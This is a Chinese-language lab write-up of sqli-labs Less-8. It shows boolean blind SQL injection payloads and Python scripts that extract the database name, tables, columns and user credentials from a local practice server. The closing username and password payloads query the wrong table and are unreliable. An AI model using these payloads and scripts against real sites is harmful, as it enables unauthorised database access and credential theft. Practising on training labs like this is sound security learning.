sqli-labs注入漏洞解析--less-8

Less-8(布尔盲注)

进入之后说请输入id,那就试一下

显示You are in........好像没什么发现。再试试有没有其他的注入点

再输入id=1’后回显消失了。再输入其他的都是一样的结果,这里怀疑单引号后边有注入点

输入id=1' order by 1 --+后有了回显,再陆续试了2 3 4,当输入4时没有了回显

他只有对和错显示,那我们只能用对或者错误来猜他这个数据库,到了这里基本可以判断出是布尔盲注,那就试一下

布尔盲注的主要三个函数:length(),ascii(),substr()

?id=1%27%20and%20ascii(substr(database(),1,1))>114--+

?id=1%27%20and%20ascii(substr(database(),1,1))>115--+

ascii码表

https://picx.zhimg.com/70/v2-5ffbc3719a99246db040f0a068ad2ef5_1440w.avis?source=172ae18b&biz_tag=Post

我用ASCII来猜,用substr来截取他的第一个字段,如果我猜对了,他就正常显示,如果我猜错了,他就没有显示,就像上边的,当我猜到第114个时显示正常,当为115时没有显示,说明我就猜出来他的第一个字段的ASCII是115,然后在对照查询ASCII表就能找出来以此类推,就能猜出来,但是这样效率太低,所以写一个脚本来执行:

import requests

url = "http://127.0.0.1/sqli-labs-php7-master/Less-8/index.php"

def inject_database(url):
    name = ''
    for i in range(1,20):
        for j in range(32,129):
            payload = "1' and ascii(substr(database(),%d,1)) = %d-- " % (i, j)
            res = {"id":payload}
            r = requests.get(url,params=res)
            if "You are in..........." in r.text:
                name +=chr(j)
                print(name)
                break
            else:
                continue

inject_database(url)

暴力破解也是将库名给爆出来了,但是这个办法比较慢,因为他要一个一个试

换一种思路:用二分法来取值

Low为32,mid初始值为80,当执行到判断if后没有出现you are in,则执行low =mid+1,low变为81,mid为104,直到出现you are in 时ASCII为115,跳出循环,可以判断出第一个字符为115,对应的就是s

import requests

url = "http://127.0.0.1/sqli-labs-php7-master/Less-8/index.php"

def inject_database(url):
    name=""
    for i in range(1,20): //这里1,20表示我们测试库名的字段长度再爆表时可以适当调节长度,这里写20是为了缩短比较的时间。
        low =32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and ascii(substr(database(),%d,1)) > %d-- " % (i, mid)
            params = {"id": payload}
            r = requests.get(url,params=params)
            if 'You are in...........' in r.text:
                 low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:
            break
        name += chr(mid)
        print(name)

inject_database(url)

这样我们就判断出库名为sucerity。后边的就是表和列的查询,和之前的都一样,只不过这里是要用ASCII码来猜而已,就是有点慢。

爆表

payload = "1' and ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='security'),%d,1)) > %d-- " % (i, mid)

爆字段

payload = "1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'),%d,1)) > %d-- " % (i, mid)

爆数据

username

payload = "1' and ascii(substr((select group_concat(username) from information_schema.columns where table_schema='security'and table_name='users'),%d,1)) > %d-- " % (i, mid)

password

payload = "1' and ascii(substr((select group_concat(password) from information_schema.columns where table_schema='security'and table_name='users'),%d,1)) > %d-- " % (i, mid)

成功拿下。

  • 24
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

duoba_an

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值